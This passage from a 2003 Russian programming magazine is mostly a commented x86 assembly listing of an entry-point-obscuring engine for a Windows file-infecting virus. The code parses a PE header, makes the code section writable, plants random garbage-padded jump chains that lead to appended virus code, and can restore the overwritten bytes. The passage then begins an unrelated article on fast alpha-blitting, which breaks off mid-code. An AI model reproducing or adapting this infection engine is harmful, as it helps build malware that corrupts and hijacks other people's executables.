      movsb                              ; Помещаем инструкцию
             ; из таблицы в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция из таблицы:
             ; ...................
             ; cld             
             ; nop             
             ; ...................
      dec ecx                        ; Уменьшаем ecx на единицу
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_inc:
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,40h                     ; Добавляем к al - 40h
      test ecx,ecx                    ; Если длина инструкции = 0,
      jz landing                    ; тогда переходим на конец
      stosb                              ; Помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции INC:
             ; ...................
             ; inc             eax
             ; inc             ebp
             ; ...................
      dec ecx                        ; Уменьшаем ecx на единицу
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_dec:
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,48h                     ; Добавляем к al - 40h
      test ecx,ecx                    ; Если длина инструкции = 0,
      jz landing                    ; тогда переходим на конец
      stosb                              ; Помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции DEC:
             ; ...................
             ; dec             eax
             ; dec             ebp
             ; ...................
      dec ecx                        ; Уменьшаем ecx на единицу
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    landing:        
      add esp,4                      ; Выталкиваем их стэка уже
      pop ebx                        ; не нужный адрес возврата
      pop ebp      ; 
      pop esi                        ; Восстанавливаем регистры
      pop ecx                        ; из стэка.
      pop edx                        ;
      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;       FREE REGISTER SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                 NO INPUT IN SUBROTINE                             ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                ;
    ;                     FREE REGISTER -> EAX                              ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    free_reg:                                          
             ; Подпрограмма получения
                                                       ; свободного регистра

      push edx ecx                    ; Сохраняем в стэке edx, ecx
    another:                                           ;
      call rnd_reg                    ; Получаем случайный регистр
      cmp al,bh                    ; Свободный регистр не может
      je another                    ; быть таким как reg1
      cmp al,bl                      ; Свободный регистр не может
      je another                    ; быть таким как reg1
      cmp al,00000100b               ; Используем все регистры 
      je another                    ; кроме esp

      pop ecx edx                    ; Восстанавливаем ecx, edx
      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;       RANDOM REGISTER SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                 NO INPUT IN SUBROTINE                             ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                ;
    ;                     RANDOM REGISTER -> EAX                            ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    rnd_reg:                                           
                                                       ; Подпрограмма получения
                    ; случайного регистра

      mov eax,8                      ; Получаем случайное число
      call brandom32                  ; в диапазоне 0..7
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    mega_table:
      dw instr_x87  -delta_offset   ;
      dw instr_movr -delta_offset   ; 
      dw instr_push -delta_offset   ; 
      dw instr_shl  -delta_offset   ; 
      dw instr_cmp  -delta_offset   ;
      dw instr_xor  -delta_offset   ;
      dw one_byte   -delta_offset   ;
      dw instr_movc -delta_offset   ;
      dw instr_je   -delta_offset   ; Таблица относительных
      dw instr_je2  -delta_offset   ; смещений от метки 
      dw instr_l32  -delta_offset   ; delta_offset
      dw instr_jmp  -delta_offset   ;
      dw instr_lea  -delta_offset   ;
      dw instr_test -delta_offset   ;
      dw instr_not  -delta_offset   ;
      dw instr_xchg -delta_offset   ;
      dw instr_a32  -delta_offset   ;
      dw instr_a16  -delta_offset   ;
      dw instr_cl   -delta_offset   ;
    ;------------------------------------------------------------------------------;
    one_byte_opcode:
      std                                ;
      cld                                ; Таблица однобайтовых
      nop                                ; инструкций
      clc                                ;
      stc                                ;
      cmc                                ;
      db 0f2h                       ; rep
      db 0f3h                       ; repnz
    ;------------------------------------------------------------------------------;
    three_byte_opcode:
    db  0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых
    db  0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций
    ;------------------------------------------------------------------------------;
      

Теперь мы готовы перейти к листингу нашего мотора:

    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                       [SIMPLE EPO TECHNIQUE ENGINE  V. 0.1]                  ;
    ;                                                                              ;
    ;     ###########    ###########    ############   ##############        ;
    ;    #############  #############  ##############  ##############        ;
    ;    ##             ###        ##  ###        ###       ###              ;
    ;    ############   #############  ###        ###       ###              ;
    ;     ############  ############   ###        ###       ###              ;
    ;              ###  ###            ###        ###       ###              ;
    ;    #############  ###            ##############       ###              ;
    ;     ###########   ###             ############        ###              ;
    ;                                                                              ;
    ;                                 FOR MS WINDOWS                               ;
    ;                                                                              ;
    ;                                     BY SL0N                                  ;
    ;------------------------------------------------------------------------------;
    ;                                    MANUAL:                                   ;
    ; ADDRESS OF MAPPED FILE  -> EDX                                        ;
    ;                                                                              ;
    ; CALL EPO                                                                     ;
    ;------------------------------------------------------------------------------;
    ;                               MANUAL FOR RESTORE:                            ;
    ; CALL RESTORE                                                                 ;
    ;                                                                              ;
    ; ENTRY POINT             -> EBX                                               ;
    ;------------------------------------------------------------------------------;
    ; (+) DO NOT USE WIN API                                                       ;
    ; (+) EASY TO USE                                                              ;
    ; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)                        ;
    ; (+) USE X87 INSTRUCTIONS                                                     ;
    ; (+) RANDOM NUMBER OF SPOTS                                                   ;
    ; (+) MUTABLE SPOTS                                                            ;
    ; (+) RANDOM LENGTH OF JUMP                                                    ;
    ;------------------------------------------------------------------------------;
    epo:            
      push esi edi                    ; Сохраняем в стэке esi 
                                         ; и edi
      mov [ebp+map_address],edx      ; Сохраняем адрес файла в
                                         ; памяти
      call get_head                   ; Получаем  PE заголовок
                                         ;
      call search_eip                 ; Вычисляем новую точку
                                         ; входа
      call find_code     ; Ищем начало кода в этом 
             ; файле
      call spots      ; Помещаем туда переход 
             ; на вирус
      pop edi esi                    ; Восстанавливаем из стэка
                                         ; edi и esi
      ret       ; Выходим из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                       PE HEADER SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         FILE IN MEMORY -> EDX                            ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

    get_head:                                          
             ; Подпрограмма получения
                                                       ; PE заголовка

      pusha                              ; Сохраняем всё в стэке

      mov  ebx,[edx + 3ch]            ;
      add  ebx,edx                    ;
                                         ;
      mov  [ebp + PE_header],ebx    ; сохраняем PE заголовок
      mov  esi,ebx                    ;
      mov edi,esi                    ;
      mov  ebx,[esi + 28h]            ;
      mov  [ebp + old_eip],ebx    ; Сохраняем старую точку
             ; входа (eip)
      mov  ebx,[esi + 34h]            ;
      mov  [ebp + image_base],ebx    ; Сохраняем
                                                       ; виртуальный адрес 
             ; начала программы
                    popa                               ; Вынимаем всё из стэка
      ret       ; Выходим из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                     NEW ENTRY POINT SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    search_eip:                                        
             ; Подпрограмма вычисления
                                                       ; новой точки входа

      pusha                              ; Сохраняем всё в стэке

      mov esi,[ebp+PE_header]        ; Кладём в esi указатель
                                         ; На PE заголовок
      mov  ebx,[esi + 74h]     ;  
      shl  ebx,3      ; 
      xor  eax,eax      ;
      mov  ax,word ptr [esi + 6h]     ; Количество объектов
      dec  eax      ; (нам нужен последний-1
      mov  ecx,28h      ; заголовок секции)
      mul  ecx      ; * размер заголовка
      add  esi,78h      ; теперь esi указывает 
      add  esi,ebx      ; на начало последнего  
      add  esi,eax      ; заголовка секции

      mov eax,[esi+0ch]              ; 
      add eax,[esi+10h]              ; Сохраняем новую точку
      mov [ebp+new_eip],eax          ; входа

                    popa                               ; Вынимаем всё из стэка

      ret       ; Выходим из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                   FIND START OF CODE SUBROUTINE          ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    find_code:                                         
             ; Подпрограмма поиска начала
                                                       ; кода

      mov esi,[ebp+PE_header]        ; Кладём в esi указатель
                                         ; На PE заголовок

      mov  ebx,[esi + 74h]     ;
      shl  ebx,3      ; Получаем 
      xor  eax,eax      ; 
      mov  ax,word ptr [esi + 6h]    ; Количество объектов
    find2:
      mov esi,edi                    ;
      dec eax                        ; 
      push eax                        ; (нам нужен последний-1
      mov  ecx,28h      ; заголовок секции)
      mul  ecx      ; * размер заголовка
      add  esi,78h      ; теперь esi указывает на
      add  esi,ebx      ; начало последнего 
             ; заголовка 
      add  esi,eax      ; секции
      mov eax,[ebp+old_eip]    ; В eax ложим точку входа
      mov edx,[esi+0ch]     ; В edx адрес куда будет
             ; мапиться
             ; текущая секция
      cmp edx,eax      ; Проверяем
      pop eax      ; Вынимаем из стэка eax
      jg find2      ; Если больше ищем дальше
      add edx,[esi+08h]     ; Добавляем виртуальный 
             ; размер секци
      cmp edx,[ebp+old_eip]    ; Проверяем
      jl find2      ; Если меньше ищем дальше

      mov edx,[esi+0ch]     ; Далее вычисляем 
             ; физическое
      mov eax,[ebp+old_eip]    ; смещение кода в файле
      sub eax,edx      ;
      add eax,[esi+14h]            ;
      add eax,[ebp+map_address]    ; И потом добавляем базу
             ; памяти

      mov [ebp+start_code],eax    ; Сохраняем начало кода

                    or  [esi + 24h],00000020h or 20000000h or 80000000h 
             ; Меняем аттрибуты 
             ; кодовой секции

      mov eax,[esi+08]               ; Вычисляем размер
      sub eax,[ebp+old_eip]          ; той части кодовой секции,
      mov edx,[esi+10h]              ; где можно размещать
      sub edx,eax                    ; пятна
      mov [ebp+size_for_spot],edx    ;

      ret       ; Возврат из процедуры

    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                     SPOTS GENERATION SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    spots:                                             
             ; Подпрограмма генерации
             ; пятен

      mov ecx,1                      ; Кладём в ecx единицу
                                         ;
      call reset                      ; Подготавливаем данные
      call num_spots                  ; Генерируем случайное число
                                         ; это будет кол-во пятен
    tred:                                              
      call save_bytes            ; Сохраняем затираемы байты
      call gen_spot                   ; Генерируем пятно

      inc ecx                        ; Увеличиваем ecx на единицу
      cmp ecx,[ebp+n_spots]          ; Все пятна сгенерированы
      jne tred                       ; Если нет, то генерируем

      call save_bytes     ; Сохраняем последние байты
      call gen_final_spot             ; И генерируем последнее
                                         ; пятно
      ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                     SPOT GENERATION SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    gen_spot:                                          
             ; Подпрограмма генерации 
             ; одного пятна

      push eax ecx                    ; Сохраняем eax и ecx

      call len_sp_jmp                 ; Получаем случайную длину
      xchg eax,ebx                    ; прыжка пятна

      call testing                    ; Проверяем, чтобы пятно
      jc quit2                      ; не выходило за кодовую
                                                       ; секцию
      push ebx
      xor bx,bx
      dec bx
      mov ecx,[ebp+num1]             ; Генерируем первую партию
      call garbage                    ; мусора
      pop ebx

      mov al,0e9h                    ; 
      stosb                              ;
      mov eax,0                      ; Генерируем jmp
      add eax,ebx                    ;
      add eax,ecx                    ;
      stosd                              ;

      push ebx
      xor bx,bx
      dec bx
      mov ecx,[ebp+num2]             ; Генерируем вторую партию
      call garbage                    ; мусора
      pop ebx

      sub edi,[ebp+num2]             ; 
      add edi,[ebp+num1]             ; Корректируем edi
      add edi,ebx                    ;
    quit2:
      pop ecx eax                    ; Восстанавливаем ecx и eax

      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                   LAST SPOT GENERATION SUBROUTINE         ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    gen_final_spot:                                    
                                                       ; Подпрограмма генерации
             ; финального пятна
     
      push eax ecx                    ; Сохраняем eax и ecx
                                         
      jc not_big                    ; Если длина не превышает
      inc [ebp+n_spots]              ; размера кодовой секции, то
    not_big:                                           ; Увеличим кол-во пятен
      mov ecx,[ebp+num1]             ; Генерируем мусорные
      call garbage                    ; инструкции

      push edi                        ; Сохраняем edi
      sub edi,[ebp+start_code]       ; Подготавливаем длину jmp'a
      mov ebx,edi                    ; для последнего пятна
      pop edi                        ; Восстанавливаем edi

      mov al,0e9h                    ;
      stosb                              ;
      mov eax,0                      ;
      sub eax,5                      ; Генерируем финальное
      sub eax,ebx                    ; пятно
      add eax,[ebp+new_eip]          ;
      sub eax,[ebp+old_eip]          ;
      stosd                              ;

      mov ecx,[ebp+num2]             ; Генерируем вторую партию
      call garbage                    ; мусорных инструкций

      pop ecx eax                    ; Восстанавливаем ecx и eax
      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                     SPOTS GENERATION SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                        ADDRESS OF SAVING BYTES -> EDI                        ;
    ;                        QUANTITY OF BYTES       -> EBX                 ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;                            NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    save_bytes:
             ; Подпрограмма сохранения
             ; заменяемых байт

                    pusha                     ; Сохраняем всё в стэке
      call length1                    ; Генерируем длины мусорных
                                         ; инструкций
      mov ebx,[ebp+num1]             ; Помещаем в ebx первую 
      add ebx,[ebp+num2]             ; и вторую длины
      add ebx,5                      ; Добавляем к ebx - 5

      mov esi,edi                    ; Сохраняем в буфере с 
      mov edi,[ebp+pointer]          ; начала смещение в памяти
      mov eax,esi                    ; на сохраняемые байты
      stosd                              ;
      mov ecx,ebx                    ; После этого сохраняем в
      mov eax,ecx                    ; буфере кол-во сохраняемых
      stosd                              ; байт

      rep movsb                      ; И в самом конце сохраняем
      mov [ebp+pointer],edi          ; в буфере сами байты
                                         ;
      popa                               ; Вынимаем всё из стэка
      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                        RESTORE SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         OLD ENTRY POINT -> EBX          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    restore:
             ; Подпрограмма 
             ; восстановления сохранённых
             ; байт

      cld                                ; Поиск вперёд
      lea esi,[ebp+rest_bytes]       ; В esi указазатель на буфер
      mov edx,1                      ; В edx кладём - 1
    not_enough:
      mov edi,[ebp+old_eip]          ; В edi загружаем точку
      add edi,[ebp+image_base]       ; входа
      mov ebx,edi                    ; Сохраняем edi в ebx
      lodsd                              ; В eax старое смещение
                                         ; байт в памяти
      sub eax,[ebp+start_code]       ; Отнимаем смещение начала
                                         ; кода и добавляем 
      add edi,eax                    ; точку входа
      lodsd                              ; Загружаем в eax кол-во 
      mov ecx,eax                    ; байт и кладём их в ecx
      rep movsb                      ; Перемещаем оригинальные
                                         ; байты на старое место
      inc edx                        ; Переходим к следующему 
      cmp edx,[ebp+n_spots]          ; пятну
      jl not_enough                 ; если не все пятна вернули,
                                         ; то восстанавливаем дальше
    quit:                                              ;  
      ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                LENGTH SPOT GENERATION SUBROUTINE         ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    length1:
             ; Подпрограмма генерации
             ; длин мусорных инструкций
      mov eax,20                     ;
      call brandom32                  ; Генерируем случайное число
      test eax,eax                    ; в диапазоне 1..19
      jz length1                    ;

      mov [ebp+num1],eax             ; Сохраняем его в переменную
    rand2:
      mov eax,20                     ;
      call brandom32                  ; Генерируем случайное число
      test eax,eax                    ; в диапазоне 1..19
      jz rand2                      ;

      mov [ebp+num2],eax             ; Сохраняем его в вторую
                                         ; переменную
      ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                         RESET SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    reset:
             ; Подпрограмма инициализации
             ; переменных
      mov edi,[ebp+start_code]       ;
                                         ; 
      push esi                        ; Инициализируем переменные
      lea esi,[ebp+rest_bytes]       ;
      mov [ebp+pointer],esi          ;
      pop esi                        ;

      ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;              SPOT JUMP LENGTH GENERATION SUBROUTINE         ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;

    ;       LENGTH OF SPOT JUMP -> EAX          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    len_sp_jmp:
             ; Подпрограмма генерации
             ; длины прыжка

      mov eax,150                    ;
      call brandom32                  ; Генерируем случайное число
      cmp eax,45                     ; в диапазоне 45..149
      jle len_sp_jmp     ;

       ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                 SPOTS NUMBER GENERATION SUBROUTINE         ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;         NO OUTPUT IN SUBROUTINE          ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    num_spots:
             ; Подпрограмма генерации
             ; количества пятен

      pusha                              ; Сохраняем всё в стэке

      mov eax,40                     ; Генерируем случайное число
      call brandom32                  ; в диапазоне 1..40
      inc eax                        ; И сохраняем его в
      mov [ebp+n_spots],eax          ; переменной

      popa                               ; Вынимаем всё из стэка
      ret       ; Возврат из процедуры
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                        TESTING SUBROUTINE                 ;
    ;------------------------------------------------------------------------------;
    ;                [ IN ]           ;
    ;                                                                              ;
    ;                         NO INPUT IN SUBROUTINE                           ;
    ;------------------------------------------------------------------------------;
    ;                [ OUT ]           ;
    ;                                                                              ;
    ;                     CARRY FLAG                  ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    testing:
             ; Подпрограмма проверки
             ; попадения в границу секции

      push edi eax                    ; Сохраняем edi eax в стэке

      add edi,[ebp+num1]             ; Добавим к edi 1-ую длину
             ; мусорных инструкций
      add edi,[ebp+num2]             ; После этого добавим 2-ую
      add edi,300                    ; И добавим число в которое
             ; входит максимальный размер
             ; пятна + длина его прыжка
      mov eax,[ebp+size_for_spot]    ; В eax загрузим размер 
             ; места для пятен и смещение
      add eax,[ebp+start_code]       ; в памяти точки входа

      cmp edi,eax                    ; Сравним eax и edi
      clc                                ; Сбросим carry флаг
      jl m_space                    ; Если edi меньше, то все
                                         ; хорошо
      mov [ebp+n_spots],ecx          ; Если нет, то мы уменьшаем
      inc [ebp+n_spots]              ; количество пятен и 
      stc                                ; устанавливаем carry флаг
    m_space:
      pop eax edi             ; Вынимаем eax и edi 
      ret       ; Возврат из процедуры
    ;------------------------------------------------------------------------------;
    pointer  dd 0                          ;
    n_spots  dd 0                          ;
                                                       ;
    num1  dd 0                          ;
    num2  dd 0                          ;
                                                       ; Данные необходимые для
    PE_header dd 0                          ; работы мотора
    old_eip  dd 0                          ;
    image_base dd 0                          ;
    start_code dd 0                          ;
    new_eip  dd 0                          ;
    map_address dd 0                          ;
    size_for_spot dd 0                          ;
    rest_bytes: db 2100 dup (?)               ;
    ;------------------------------------------------------------------------------;
      

В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байт используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.

Рассмотрим примерную схему работы мотора:

     
      |------------------------------------------|
      |             Заголовок программы          |
      |  (в нём указан адрес запуска программы)  |
      |------------------------------------------|
      |                   .....                  |
      |         Здесь идут различные секции      |
      |                   .....                  |
      |------------|-----------------------------|
             | jmp spotN2 |-----|                       |
      |------------|     |                       |
             |               |--V---------|             |
             |      |--------| jmp spotN3 |             |
             |      |        |------------|             |
             |------V-----|                             |
     |-------|  jmp virus |                             |
     |       |------------|   Кодовая секция            |
     | |------------------------------------------|
     | |                   .....                  |
     | |         Здесь идут различные секции      |
     | |                   .....                  |
     | |------------------------------------------|
     |------>|                   .....                  |
      |              ВИРУС                  |
      |                   .....                  |
      |------------------------------------------|
      

Для чего может использоваться данный модуль? Данный модуль можно с большой эффективностью использовать при моделировании навесных защит исполнимого кода, помимо его прямого назаначения.

Тимошенко Игорь
статья опубликована в argc&argv #4 2003 год

Алгоритм быстрой реализации alpha-blitting'а.

Альфа-блитинг (полупрозрачное наложение поверхностей) позволяет создавать красивые и интересные, а иногда и просто полезные эффекты. К сожалению при использовании альфа-блитинга приходится сталкиваться с одной очень не приятной проблемой – его слишком медленной реализацией. Связанно это с тем, что DirectDraw не предоставляет аппаратной поддержки данной процедуры (я уже не говорю про включение её в HAL и эмуляцию, если видеокарта её выполнить не может), поэтому приходиться не только использовать программную эмуляцию, но ещё и каждый раз изобретать велосипед, создавая эту самую программную эмуляцию заново. Конечно, можно использовать Direct3D, он поддерживает текстурирование с использованием альфа-ключа. Но, на мой взгляд, это совершенно лишнее, если у вас ни о какой трёхмерной графике речь не идёт, а просто необходимо скопировать несколько прямоугольных областей и хочется сделать это с альфа-ключом. И вот тут проблема скорости встаёт со всей своей злободневностью даже на P4 – каждую цветовую компоненту необходимо обрабатывать отдельно, а это очень медленно. В данной статье я собираюсь изложить достаточной простой алгоритм блочного преобразования цветовых компонент, который позволяет увеличить скорость работы в три раза по сравнению с обыкновенным. Кроме того, я приведу вариант реализации данного алгоритма с использованием набора инструкций MMX, что даёт прирост ещё на 25% по сравнению с реализацией его на чистом С.

Начнём с простой математики. Допустим, у нас есть две поверхности s1 и s2, а также альфа-ключ а, который показывает степень прозрачности. Тогда, если мы копируем поверхность s1 в s2, к цветовым компонентам пикселов мы должны применить следующие преобразования:

    s1[x][y][ck] = a*(s1[x][y][ck] – s2[x][y][ck]) + s2[x][y][ck],


    где ck {r, g, b} и 0<=a<=1 (1).

Как видите, не слишком быстро получается – сначала нам необходимо выделить цветовую компоненту из пары копируемых пикселей. Если у нас 24-х или 32-х битный режим, то это сделать довольно просто – один байт, одна компонента. А как быть с 16-ти и 15-ти битными режимами? Тут придётся использовать маски и накладывать их по AND, и, если не пересчитать для каждой цветовой компоненты отдельно, то и использовать команду сдвига, чтобы поместить цветовую компоненту в начала байта. И только после этого мы сможем произвести необходимы вычисления, среди которых есть умножение. Потом опять необходимо будет соединить цветовые компоненты в единый пиксел – и опять таки, для 24-х и 32-х битовых режимов проблем как бы нет, а вот для 15-ти и 16-ти опять придётся использовать сдвиг и последующее наложение по OR.

Если вы думаете, что на этом проблемы и заканчиваются, то вы глубоко заблуждаетесь. Как известно, математика оперирует непрерывным континуумом чисел, а мы, то есть компьютер – дискретным. Кроме того, существует ещё одно ограничение – все операции должны проводиться только в целых числах (конечно, можно и в double, но это слишком уж медленно). Поэтому реальный код будет выглядеть несколько иначе, а именно.

    unsigned char getColorComponent(unsigned long pixel, unsigned componentNum);
    void setColorComponent(unsigned long pixel, unsigned componentNum,
                           unsigned char componentValue);
    unsigned long getPixel(unsigned surfNum, unsigned x, unsigned y);

    unsigned long pixel1 = getPixel(1, 0, 0);
    unsigned long pixel2 = getPixel(2, 0, 0);
    extern unsigned long alphaKey;
        
    for(unsigned i=0;i<3;i++) {
